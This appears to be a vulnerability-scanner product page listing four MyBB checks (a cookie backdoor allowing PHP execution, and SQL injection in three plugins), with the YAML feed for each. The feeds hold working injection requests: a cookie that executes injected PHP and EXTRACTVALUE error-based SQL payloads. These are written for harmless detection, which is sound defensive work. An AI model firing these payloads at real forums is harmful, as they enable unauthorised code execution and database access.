MyBB — 4 vulnerability checks
noctis ships 4 vulnerability checks for MyBB, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
MyBB 1.6.4 'collapsed' cookie backdoor — unauthenticated PHP code execution
| CVE | CVE-2011-10018 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/mybb/CVE-2011-10018.yaml |
The MyBB 1.6.4 source package distributed before 6 October 2011 contained a backdoor in index.php: the 24th element of the "collapsed" cookie is evaluated as PHP code, giving any unauthenticated visitor code execution as the web server user. The test requests index.php (at the web root and the usual /mybb, /forum, /forums and /board prefixes) with a "collapsed" cookie whose 24th element prints md5() of a random number chosen for this run. The finding is raised only when the response contains that digest, which the server can produce only by executing the injected code. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{mybb_dir}}/index.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
verdictforNOCTIS_MYBB_BACKDOOR_EXEC→ finding QoD 97: GET …/index.php with collapsed cookie element 24 = print(md5(…))?> returned the locally computed digest … — injected PHP was executed
References:
- https://nvd.nist.gov/vuln/detail/CVE-2011-10018
- https://www.exploit-db.com/exploits/17949
- https://www.vulncheck.com/advisories/mybb-backdoor-arbitrary-command-execution
Feed source — tests/vulnerabilities/mybb/CVE-2011-10018.yaml
# MyBB 1.6.4 compromised source package — "collapsed" cookie PHP backdoor (CVE-2011-10018)
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_mybb_49993.nasl (OID 1.3.6.1.4.1.25623.1.0.103292,
# GPL-2.0-only); same request shape as the Metasploit module mybb_backdoor (EDB-17949).
#
# The MyBB 1.6.4 archive distributed until 2011-10-06 carried a backdoor in index.php: the
# element that follows the 23 numeric entries (0|1|…|22|) of the "collapsed" cookie is
# evaluated as PHP. The NASL sends `phpinfo()?>` there and looks for "<title>phpinfo()".
#
# Detection (confirmed PHP execution, QoD 97) — benign, nothing is written:
# * a fresh random integer N is minted per run and md5(N) is computed locally;
# * the cookie's 24th element is `print(md5(N))?>` instead of phpinfo() (same statement
# shape: the `?>` closes the evaluated code, no `;` that would split the cookie);
# * a reply carrying this run's md5(N) proves the server evaluated the injected code —
# a server reflecting the cookie only echoes the source text, never the digest.
#
# Better than the NASL: no phpinfo() dump (server configuration disclosure) — a per-run
# digest only arbitrary PHP evaluation can produce; and it tries the usual install
# prefixes itself (/, /mybb, /forum, /forums, /board) instead of relying on a prior
# product detection.
uid: 48aac6ed-eccb-4cb4-bb04-1b1aa9937312
name: "MyBB 1.6.4 'collapsed' cookie backdoor — unauthenticated PHP code execution (CVE-2011-10018)"
description: |
The MyBB 1.6.4 source package distributed before 6 October 2011 contained a backdoor in
index.php: the 24th element of the "collapsed" cookie is evaluated as PHP code, giving any
unauthenticated visitor code execution as the web server user. The test requests
index.php (at the web root and the usual /mybb, /forum, /forums and /board prefixes) with
a "collapsed" cookie whose 24th element prints md5() of a random number chosen for this
run. The finding is raised only when the response contains that digest, which the server
can produce only by executing the injected code. Nothing is written on the target.
cves: [CVE-2011-10018]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [mybb, forum, php, backdoor, rce, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-10018"
- "https://www.exploit-db.com/exploits/17949"
- "https://www.vulncheck.com/advisories/mybb-backdoor-arbitrary-command-execution"
- "OpenVAS NVT 2011/gb_mybb_49993.nasl (OID 1.3.6.1.4.1.25623.1.0.103292)"
steps:
# 1 — per-run random integer and the digest only real PHP evaluation can return.
- id: mint-number
action: script
store_as: num
code: |
rand_int(100000000, 999999999).to_string()
- id: compute-expected
action: script
store_as: expected
code: |
md5(num)
# 2 — the backdoor probe, one loop iteration per install prefix. Raw HTTP/1.0 via
# tcp_connect so the cookie (pipes as %7c, like the NASL) goes out verbatim.
# Each iteration first resets probe_resp, so a refused connection (store_as not
# set) cannot leave the verdict script on an undefined variable or on the
# previous prefix's reply.
- id: reset-probe
action: set_var
var_name: probe_resp
var_value: {}
loop:
over:
- ""
- "/mybb"
- "/forum"
- "/forums"
- "/board"
var: mybb_dir
- id: backdoor-probe
action: tcp_connect
port: "{{port}}"
send: "GET {{mybb_dir}}/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: collapsed=0%7c1%7c2%7c3%7c4%7c5%7c6%7c7%7c8%7c9%7c10%7c11%7c12%7c13%7c14%7c15%7c16%7c17%7c18%7c19%7c20%7c21%7c22%7cprint(md5({{num}}))?>\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: probe_resp
- id: verdict
action: script
store_as: verdict
code: |
let b = probe_resp.banner;
if type_of(b) == "string" && ereg("^HTTP/1\\.[01] 200\\b", b) && stridx(b, expected) >= 0 {
"NOCTIS_MYBB_BACKDOOR_EXEC"
} else {
"none"
}
- id: detect
action: match
source: verdict
pattern: "NOCTIS_MYBB_BACKDOOR_EXEC"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "GET {{mybb_dir}}/index.php with collapsed cookie element 24 = print(md5({{num}}))?> returned the locally computed digest {{expected}} — injected PHP was executed"
stop: trueMyBB Advanced Forum Signatures plugin signature.php SQL Injection
| CVE | CVE-2011-5277, CVE-2011-5278 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/mybb/CVE-2011-5277.yaml |
The Advanced Forum Signatures (afsignatures) plugin 2.0.4 for MyBB passes the afs_* fields of signature.php, including afs_bar_right and afs_type, into SQL queries without escaping them, and MyBB prints the resulting database error, allowing unauthenticated SQL injection.
This check posts to signature.php under the web root and the usual /mybb, /forum, /forums and /board prefixes. For afs_bar_right and for afs_type it first confirms a normal value produces no database error, then sends the value followed by a quote and a random marker; a parameter is reported when the MyBB SQL error page carries a MySQL syntax error quoting that marker. Each CVE is attached only when its own parameter proved injectable. Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{ep}}with a crafted body - HTTP(S) request
POST {{ep}}with a crafted body - HTTP(S) request
POST {{ep}}with a crafted body - HTTP(S) request
POST {{ep}}with a crafted body - Parses / computes the next value with a Rhai script
- Checks
res.rfor^true$→ finding QoD 75: MyBB Advanced Forum Signatures signature.php SQL Injection (CVE-2011-5277, CVE-2011-5278) - Checks
res.rfor^true$→ finding QoD 75: MyBB Advanced Forum Signatures signature.php afs_bar_right SQL Injection (CVE-2011-5278) - Checks
res.tfor^true$→ finding QoD 75: MyBB Advanced Forum Signatures signature.php afs_type SQL Injection (CVE-2011-5277)
References:
Feed source — tests/vulnerabilities/mybb/CVE-2011-5277.yaml
# MyBB Advanced Forum Signatures (afsignatures) plugin 2.0.4 — signature.php SQL injection
# (CVE-2011-5277: afs_type and the other afs_* fields; CVE-2011-5278: afs_bar_right)
#
# signature.php builds a SQL query from the POSTed afs_* fields without escaping them. A
# failing query goes through MyBB's database error handler, which prints "MyBB has
# experienced an internal SQL error and cannot continue." followed by the database error.
#
# Detection (QoD 75), per install prefix (/, /mybb, /forum, /forums, /board), for the two
# parameters named by the CVE records (afs_bar_right = 5278, afs_type = 5277):
# 1. a normal value (afs_bar_right=postcount / afs_type=1) answers without a database error;
# 2. the value followed by a quote and a random marker answers with a MyBB SQL error and a
# MySQL syntax error that quotes the marker.
# Each CVE is reported only when its own parameter proved injectable. Read-only: the
# payload is a quote plus a random token; nothing is written or read from the database.
#
# Better than the source NASL: it matched two fixed strings anywhere in one reply to a single
# probe, so any page quoting a SQL error fired it, and it covered only afs_bar_right. Here a
# clean control is required, the syntax error must quote a per-run random marker the page
# cannot know, and the second CVE's parameter is checked too.
# CVSS: NVD carries only CVSS v2 (7.5) for both CVEs.
#
# Source: OpenVAS/Greenbone NVT 2011/gb_mybb_afsignatures_plugin_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802039, GPL-2.0-only).
uid: bafec99a-be51-472a-a931-8cd414d8eba6
name: "MyBB Advanced Forum Signatures plugin signature.php SQL Injection (CVE-2011-5277, CVE-2011-5278)"
description: |
The Advanced Forum Signatures (afsignatures) plugin 2.0.4 for MyBB passes the afs_*
fields of signature.php, including afs_bar_right and afs_type, into SQL queries without
escaping them, and MyBB prints the resulting database error, allowing unauthenticated
SQL injection.
This check posts to signature.php under the web root and the usual /mybb, /forum, /forums
and /board prefixes. For afs_bar_right and for afs_type it first confirms a normal value
produces no database error, then sends the value followed by a quote and a random marker;
a parameter is reported when the MyBB SQL error page carries a MySQL syntax error quoting
that marker. Each CVE is attached only when its own parameter proved injectable. Nothing
is written and no data is read from the database.
cves: [CVE-2011-5277, CVE-2011-5278]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for both CVEs
severity: high
category: sqli
confidence_base: 0.30
tags: [mybb, afsignatures, plugin, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-5277"
- "https://nvd.nist.gov/vuln/detail/CVE-2011-5278"
# OpenVAS/Greenbone NASL 2011/gb_mybb_afsignatures_plugin_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen
action: script
code: |
let m1 = "NOCTIS" + rand_int(100000000, 999999999);
let m2 = "NOCTIS" + rand_int(100000000, 999999999);
let q = "(?:'|�?39;|'|')";
#{ m1: m1, m2: m2,
re1: "You have an error in your SQL syntax.{0,300}" + q + "?" + m1,
re2: "You have an error in your SQL syntax.{0,300}" + q + "?" + m2 }
store_as: sc
# A loop: step runs together with every following non-loop step once per prefix, so the
# init steps below reset all stored results at the start of each iteration.
- id: init-ctl-r
action: set_var
var_name: ctl_r
var_value: {status: 0, body: ""}
loop:
var: ep
over:
- "/signature.php"
- "/mybb/signature.php"
- "/forum/signature.php"
- "/forums/signature.php"
- "/board/signature.php"
- id: init-ctl-t
action: set_var
var_name: ctl_t
var_value: {status: 0, body: ""}
- id: init-p-r
action: set_var
var_name: p_r
var_value: {status: 0, body: ""}
- id: init-p-t
action: set_var
var_name: p_t
var_value: {status: 0, body: ""}
- id: init-res
action: set_var
var_name: res
var_value: {r: false, t: false}
- id: control-r
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "afs_bar_right=postcount"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_r
- id: probe-r
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "afs_bar_right=postcount%27{{sc.m1}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'ctl_r.status >= 200 && ctl_r.status < 400 && type_of(ctl_r.body) == "string" && !ereg("SQL syntax|XPATH syntax|internal SQL error", ctl_r.body, true)'
store_as: p_r
- id: control-t
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "afs_type=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'ctl_r.status >= 200 && ctl_r.status < 500'
store_as: ctl_t
- id: probe-t
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "afs_type=1%27{{sc.m2}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'ctl_t.status >= 200 && ctl_t.status < 400 && type_of(ctl_t.body) == "string" && !ereg("SQL syntax|XPATH syntax|internal SQL error", ctl_t.body, true)'
store_as: p_t
- id: check
action: script
code: |
let br = if type_of(p_r.body) == "string" { p_r.body } else { "" };
let bt = if type_of(p_t.body) == "string" { p_t.body } else { "" };
#{ r: ereg("internal SQL error", br, true) && ereg(sc.re1, br, true),
t: ereg("internal SQL error", bt, true) && ereg(sc.re2, bt, true) }
store_as: res
- id: report-both
action: match
source: res.r
pattern: "^true$"
condition: "res.r && res.t"
on_match:
finding:
title: "MyBB Advanced Forum Signatures signature.php SQL Injection (CVE-2011-5277, CVE-2011-5278)"
description: "Unauthenticated requests to signature.php with a quote and a random marker appended to afs_bar_right and to afs_type each returned a MyBB SQL error with a MySQL syntax error quoting the marker, while normal values returned no error: both parameters reach SQL queries unescaped, so an attacker can run arbitrary SQL and read the forum database, including password hashes."
remediation: "Remove or update the afsignatures plugin; escape every afs_* field with the MyBB database escape function and do not print database errors to visitors."
cves: [CVE-2011-5277, CVE-2011-5278]
confidence_delta: 0.45
qod: 75
evidence: "{{ep}} afs_bar_right=postcount'{{sc.m1}} and afs_type=1'{{sc.m2}} each returned a MyBB SQL syntax error quoting the marker; the normal values returned none"
stop: true
- id: report-right
action: match
source: res.r
pattern: "^true$"
condition: "res.r && !res.t"
on_match:
finding:
title: "MyBB Advanced Forum Signatures signature.php afs_bar_right SQL Injection (CVE-2011-5278)"
description: "An unauthenticated request to signature.php with a quote and a random marker appended to afs_bar_right returned a MyBB SQL error with a MySQL syntax error quoting the marker, while a normal value returned no error: the parameter reaches a SQL query unescaped."
remediation: "Remove or update the afsignatures plugin; escape every afs_* field with the MyBB database escape function and do not print database errors to visitors."
cves: [CVE-2011-5278]
confidence_delta: 0.45
qod: 75
evidence: "{{ep}} afs_bar_right=postcount'{{sc.m1}} returned a MyBB SQL syntax error quoting the marker; the control value postcount returned none"
stop: true
- id: report-type
action: match
source: res.t
pattern: "^true$"
condition: "res.t && !res.r"
on_match:
finding:
title: "MyBB Advanced Forum Signatures signature.php afs_type SQL Injection (CVE-2011-5277)"
description: "An unauthenticated request to signature.php with a quote and a random marker appended to afs_type returned a MyBB SQL error with a MySQL syntax error quoting the marker, while a normal value returned no error: the parameter reaches a SQL query unescaped."
remediation: "Remove or update the afsignatures plugin; escape every afs_* field with the MyBB database escape function and do not print database errors to visitors."
cves: [CVE-2011-5277]
confidence_delta: 0.45
qod: 75
evidence: "{{ep}} afs_type=1'{{sc.m2}} returned a MyBB SQL syntax error quoting the marker; the control value 1 returned none"
stop: trueMyBB Ajax forum stat (Ajaxfs) plugin ajaxfs.php tooltip/usertooltip SQL Injection
| CVE | CVE-2013-6936 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/mybb/CVE-2013-6936.yaml |
The Ajax forum stat (Ajaxfs) plugin 2.0 for MyBB passes the tooltip and usertooltip parameters of ajaxfs.php into SQL queries without sanitising them, and MyBB prints the resulting database error, allowing unauthenticated SQL injection.
This check requests ajaxfs.php under the web root and the usual /mybb, /forum, /forums and /board prefixes. It first confirms the script answers a normal tooltip value, then sends a value that makes the database evaluate the product of two random numbers inside an EXTRACTVALUE() call; the vulnerability is confirmed when the MyBB error page carries the product, which never appears in the request. On databases that do not support that construct, it sends a value with a stray quote and a random marker and reports the flaw when the MyBB SQL error quotes the marker while the normal value shows no error. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ep}}=1 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ep}}={{sc.num}} - HTTP(S) request
GET {{ep}}={{sc.quo}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ep}}={{sc.q75}} - Parses / computes the next value with a Rhai script
- Checks
hit97for^/→ finding QoD 97: MyBB Ajaxfs plugin ajaxfs.php SQL Injection (CVE-2013-6936) - Checks
hit75for^/→ finding QoD 75: MyBB Ajaxfs plugin ajaxfs.php SQL Injection (CVE-2013-6936)
References:
Feed source — tests/vulnerabilities/mybb/CVE-2013-6936.yaml
# MyBB "Ajax forum stat" (Ajaxfs) plugin 2.0 — ajaxfs.php tooltip / usertooltip SQL injection — CVE-2013-6936
#
# The Ajaxfs plugin ships ajaxfs.php, which builds a SQL query from the "tooltip" and
# "usertooltip" GET parameters without sanitising them. A failing query goes through
# MyBB's database error handler, which prints "MyBB has experienced an internal SQL
# error and cannot continue." followed by the database error text.
#
# Detection, per install prefix (/, /mybb, /forum, /forums, /board) and per parameter:
# QoD 97 — the parameter is set to `0 AND EXTRACTVALUE(1,CONCAT(0x7e,a*b))` (numeric
# context) or `0' AND EXTRACTVALUE(...)-- -` (quoted context) with random
# 6-digit a, b. The database evaluates the constant expression and fails with
# "XPATH syntax error: '~<a*b>'" inside the MyBB error page. The product never
# appears in the request. Read-only, no table referenced.
# QoD 75 — databases without EXTRACTVALUE: parameter = `1'<marker>` must give a MyBB
# SQL error "...near ''<marker>" while the control parameter=1 shows no error
# (the reference check only looked for the plain error text after `1'`).
#
# Better than the source NASL: it needed a prior product detection and one fixed
# error string after a single quote; this feed finds the plugin itself, checks both
# vulnerable parameters, and prefers a database-computed value that an unrelated SQL
# error page or a reflecting server cannot produce.
#
# Source: OpenVAS/Greenbone NVT 2013/gb_mybb_ajaxfx_plugin_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803966, GPL-2.0-only).
uid: d7c0e936-3799-43fd-ad27-c5d3c3a7f0ce
name: "MyBB Ajax forum stat (Ajaxfs) plugin ajaxfs.php tooltip/usertooltip SQL Injection (CVE-2013-6936)"
description: |
The Ajax forum stat (Ajaxfs) plugin 2.0 for MyBB passes the tooltip and usertooltip
parameters of ajaxfs.php into SQL queries without sanitising them, and MyBB prints the
resulting database error, allowing unauthenticated SQL injection.
This check requests ajaxfs.php under the web root and the usual /mybb, /forum, /forums
and /board prefixes. It first confirms the script answers a normal tooltip value, then
sends a value that makes the database evaluate the product of two random numbers inside
an EXTRACTVALUE() call; the vulnerability is confirmed when the MyBB error page carries
the product, which never appears in the request. On databases that do not support that
construct, it sends a value with a stray quote and a random marker and reports the flaw
when the MyBB SQL error quotes the marker while the normal value shows no error. No table
data is read and nothing is written.
cves: [CVE-2013-6936]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [mybb, ajaxfs, plugin, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-6936"
# OpenVAS/Greenbone NASL 2013/gb_mybb_ajaxfx_plugin_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let m = "NOCTIS" + rand_int(100000000, 999999999);
let q = "(?:'|�?39;|'|')";
#{ prod: "" + (a * b),
expr: a + "*" + b,
mark: m,
xpath_re: "XPATH syntax error: " + q + "?~" + (a * b),
syntax_re: "You have an error in your SQL syntax.{0,300}near " + q + "\\\\?" + q + m,
num: "0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e," + a + "*" + b + "))",
quo: "0%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e," + a + "*" + b + "))--%20-",
q75: "1%27" + m }
store_as: sc
- id: init-hit97
action: set_var
var_name: hit97
var_value: ""
- id: init-hit75
action: set_var
var_name: hit75
var_value: ""
# One iteration per (install prefix, vulnerable parameter).
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: ""}
loop:
var: ep
over:
- "/ajaxfs.php?usertooltip"
- "/ajaxfs.php?tooltip"
- "/mybb/ajaxfs.php?usertooltip"
- "/mybb/ajaxfs.php?tooltip"
- "/forum/ajaxfs.php?usertooltip"
- "/forum/ajaxfs.php?tooltip"
- "/forums/ajaxfs.php?usertooltip"
- "/forums/ajaxfs.php?tooltip"
- "/board/ajaxfs.php?usertooltip"
- "/board/ajaxfs.php?tooltip"
- id: init-r97a
action: set_var
var_name: r97a
var_value: {status: 0, body: ""}
- id: init-r97b
action: set_var
var_name: r97b
var_value: {status: 0, body: ""}
- id: init-r75
action: set_var
var_name: r75
var_value: {status: 0, body: ""}
- id: init-live
action: set_var
var_name: live
var_value: false
- id: init-try75
action: set_var
var_name: try75
var_value: false
- id: control
action: http_request
method: GET
path: "{{ep}}=1"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit97 == "" && hit75 == ""'
store_as: ctl
- id: gate
action: script
condition: 'hit97 == "" && hit75 == ""'
code: |
let body = if type_of(ctl.body) == "string" { ctl.body } else { "" };
ctl.status >= 200 && ctl.status < 400 && !ereg("SQL syntax|XPATH syntax|internal SQL error", body, true)
store_as: live
- id: probe-numeric
action: http_request
method: GET
path: "{{ep}}={{sc.num}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'live == true && hit97 == "" && hit75 == ""'
store_as: r97a
- id: probe-quoted
action: http_request
method: GET
path: "{{ep}}={{sc.quo}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'live == true && hit97 == "" && hit75 == ""'
store_as: r97b
- id: check-extractvalue
action: script
condition: 'live == true && hit97 == "" && hit75 == ""'
code: |
let a = if type_of(r97a.body) == "string" { r97a.body } else { "" };
let b = if type_of(r97b.body) == "string" { r97b.body } else { "" };
if (ereg(sc.xpath_re, a) && ereg("internal SQL error", a, true)) || (ereg(sc.xpath_re, b) && ereg("internal SQL error", b, true)) { ep } else { "" }
store_as: hit97
- id: want-fallback
action: script
condition: 'live == true && hit97 == "" && hit75 == ""'
code: |
true
store_as: try75
- id: probe-quote
action: http_request
method: GET
path: "{{ep}}={{sc.q75}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'try75 == true'
store_as: r75
- id: check-quote
action: script
condition: 'try75 == true'
code: |
let body = if type_of(r75.body) == "string" { r75.body } else { "" };
if ereg("internal SQL error", body, true) && ereg(sc.syntax_re, body, true) { ep } else { "" }
store_as: hit75
- id: report-97
action: match
source: hit97
pattern: "^/"
on_match:
finding:
title: "MyBB Ajaxfs plugin ajaxfs.php SQL Injection (CVE-2013-6936)"
description: "An unauthenticated request to ajaxfs.php with a tooltip/usertooltip value wrapping the product of two random numbers in EXTRACTVALUE() returned a MyBB SQL error carrying the product computed by the database: the parameter reaches the SQL query unsanitised, so an attacker can run arbitrary SQL and read the forum database, including password hashes."
remediation: "Remove or update the Ajax forum stat (Ajaxfs) plugin; sanitise tooltip and usertooltip with intval()/escape_string() and do not print database errors to visitors."
confidence_delta: 0.67
qod: 97
evidence: "{{hit97}}=<EXTRACTVALUE(1,CONCAT(0x7e,{{sc.expr}}))> returned the database-computed value ~{{sc.prod}} in a MyBB SQL error"
stop: true
- id: report-75
action: match
source: hit75
pattern: "^/"
on_match:
finding:
title: "MyBB Ajaxfs plugin ajaxfs.php SQL Injection (CVE-2013-6936)"
description: "An unauthenticated request to ajaxfs.php with a tooltip/usertooltip value holding a stray quote and a random marker returned a MyBB SQL syntax error quoting the marker, while a normal value returned no error: the parameter reaches the SQL query unsanitised."
remediation: "Remove or update the Ajax forum stat (Ajaxfs) plugin; sanitise tooltip and usertooltip with intval()/escape_string() and do not print database errors to visitors."
confidence_delta: 0.50
qod: 75
evidence: "{{hit75}}=1'{{sc.mark}} returned a MyBB SQL syntax error near ''{{sc.mark}}; the control value 1 returned none"
stop: trueMyBB Userbar plugin userbarsettings.php image2 SQL Injection
| CVE | CVE-2011-4569 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/mybb/CVE-2011-4569.yaml |
The Userbar plugin 2.2 for MyBB passes the image2 field of userbarsettings.php into a SQL query without sanitising it, and MyBB prints the resulting database error, allowing unauthenticated SQL injection.
This check posts to userbarsettings.php under the web root and the usual /mybb, /forum, /forums and /board prefixes. It first confirms the script answers a normal image2 value without a database error, then sends a value that makes the database evaluate the product of two random numbers inside an EXTRACTVALUE() call; the vulnerability is confirmed when the MyBB error page carries the product, which never appears in the request. On databases that do not support that construct, it sends a value with a stray quote and a random marker and reports the flaw when the MyBB SQL error quotes the marker while the normal value shows no error. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{ep}}with a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{ep}}with a crafted body - HTTP(S) request
POST {{ep}}with a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{ep}}with a crafted body - Parses / computes the next value with a Rhai script
- Checks
hit97for^/→ finding QoD 97: MyBB Userbar plugin userbarsettings.php SQL Injection (CVE-2011-4569) - Checks
hit75for^/→ finding QoD 75: MyBB Userbar plugin userbarsettings.php SQL Injection (CVE-2011-4569)
References:
Feed source — tests/vulnerabilities/mybb/CVE-2011-4569.yaml
# MyBB Userbar plugin 2.2 — userbarsettings.php image2 SQL injection — CVE-2011-4569
#
# The Userbar plugin's userbarsettings.php builds a SQL query from the POSTed "image2"
# field without sanitising it. A failing query goes through MyBB's database error handler,
# which prints "MyBB has experienced an internal SQL error and cannot continue." followed
# by the database error text.
#
# Detection, per install prefix (/, /mybb, /forum, /forums, /board):
# QoD 97 — image2 = `0 AND EXTRACTVALUE(1,CONCAT(0x7e,a*b))` (numeric context) or
# `0' AND EXTRACTVALUE(...)-- -` (quoted context), random 6-digit a, b. The
# database evaluates the product and fails with "XPATH syntax error: '~<a*b>'"
# inside the MyBB error page; the product never appears in the request.
# Read-only, no table referenced.
# QoD 75 — databases without EXTRACTVALUE: image2 = `1'<marker>` must give a MyBB SQL
# syntax error quoting the marker while the control image2=1 shows no error.
#
# Better than the source NASL: it sent one quote (`1'sql`) and matched two fixed strings
# anywhere in the reply, so any page quoting a SQL error fired it; this feed requires the
# control request to be clean and prefers a database-computed value that a reflecting or
# unrelated error page cannot produce. NVD (v2 only, 7.5) names the image2 parameter.
#
# Source: OpenVAS/Greenbone NVT 2011/gb_mybb_forum_userbar_plugin_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802038, GPL-2.0-only).
uid: 6ecbfe7b-af2d-46c2-96c1-a71f733bad58
name: "MyBB Userbar plugin userbarsettings.php image2 SQL Injection (CVE-2011-4569)"
description: |
The Userbar plugin 2.2 for MyBB passes the image2 field of userbarsettings.php into a SQL
query without sanitising it, and MyBB prints the resulting database error, allowing
unauthenticated SQL injection.
This check posts to userbarsettings.php under the web root and the usual /mybb, /forum,
/forums and /board prefixes. It first confirms the script answers a normal image2 value
without a database error, then sends a value that makes the database evaluate the product
of two random numbers inside an EXTRACTVALUE() call; the vulnerability is confirmed when
the MyBB error page carries the product, which never appears in the request. On databases
that do not support that construct, it sends a value with a stray quote and a random
marker and reports the flaw when the MyBB SQL error quotes the marker while the normal
value shows no error. No table data is read and nothing is written.
cves: [CVE-2011-4569]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [mybb, userbar, plugin, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4569"
# OpenVAS/Greenbone NASL 2011/gb_mybb_forum_userbar_plugin_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let m = "NOCTIS" + rand_int(100000000, 999999999);
let q = "(?:'|�?39;|'|')";
#{ prod: "" + (a * b),
expr: a + "*" + b,
mark: m,
xpath_re: "XPATH syntax error: " + q + "?~" + (a * b),
syntax_re: "You have an error in your SQL syntax.{0,300}near " + q + "\\\\?" + q + m,
num: "0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e," + a + "*" + b + "))",
quo: "0%27%20AND%20EXTRACTVALUE(1,CONCAT(0x7e," + a + "*" + b + "))--%20-",
q75: "1%27" + m }
store_as: sc
- id: init-hit97
action: set_var
var_name: hit97
var_value: ""
- id: init-hit75
action: set_var
var_name: hit75
var_value: ""
# One iteration per (install prefix, vulnerable parameter).
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: ""}
loop:
var: ep
over:
- "/userbarsettings.php"
- "/mybb/userbarsettings.php"
- "/forum/userbarsettings.php"
- "/forums/userbarsettings.php"
- "/board/userbarsettings.php"
- id: init-r97a
action: set_var
var_name: r97a
var_value: {status: 0, body: ""}
- id: init-r97b
action: set_var
var_name: r97b
var_value: {status: 0, body: ""}
- id: init-r75
action: set_var
var_name: r75
var_value: {status: 0, body: ""}
- id: init-live
action: set_var
var_name: live
var_value: false
- id: init-try75
action: set_var
var_name: try75
var_value: false
- id: control
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "setting1=1&setting2=1&setting3=3&image2=1&uid=1&submit=Submit"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit97 == "" && hit75 == ""'
store_as: ctl
- id: gate
action: script
condition: 'hit97 == "" && hit75 == ""'
code: |
let body = if type_of(ctl.body) == "string" { ctl.body } else { "" };
ctl.status >= 200 && ctl.status < 400 && !ereg("SQL syntax|XPATH syntax|internal SQL error", body, true)
store_as: live
- id: probe-numeric
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "setting1=1&setting2=1&setting3=3&image2={{sc.num}}&uid=1&submit=Submit"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'live == true && hit97 == "" && hit75 == ""'
store_as: r97a
- id: probe-quoted
action: http_request
method: POST
path: "{{ep}}"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "setting1=1&setting2=1&setting3=3&image2={{sc.quo}}&uid=1&submit=Submit"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
